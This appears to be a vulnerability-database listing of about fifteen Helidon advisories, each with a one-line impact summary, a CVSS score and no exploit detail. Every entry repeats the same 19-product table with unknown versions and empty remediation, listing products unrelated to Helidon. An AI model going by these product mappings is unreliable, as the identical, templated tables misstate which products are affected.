A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated network attackers via HTTP to potentially access critical or all Helidon data, with a CVSS 3.1 base score of 5.9.
5.9 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read access to certain data via HTTP, with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers via HTTP to gain unauthorized read access and cause partial denial of service, rated CVSS 3.1 base score 6.5.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to cause denial of service by crashing or hanging the Imperative Web Server component via HTTP, with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to create, delete, or modify critical data via HTTP, with a CVSS 3.1 base score of 9.1 indicating severe confidentiality and integrity impact.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to create, delete, or modify all Helidon data via HTTP, with a CVSS 3.1 base score of 9.1.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.
7.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows a low-privileged attacker with HTTP network access to gain unauthorized read and write access to certain Helidon data, rated with a CVSS 3.1 base score of 5.4.
5.4 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.4.
9.4 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
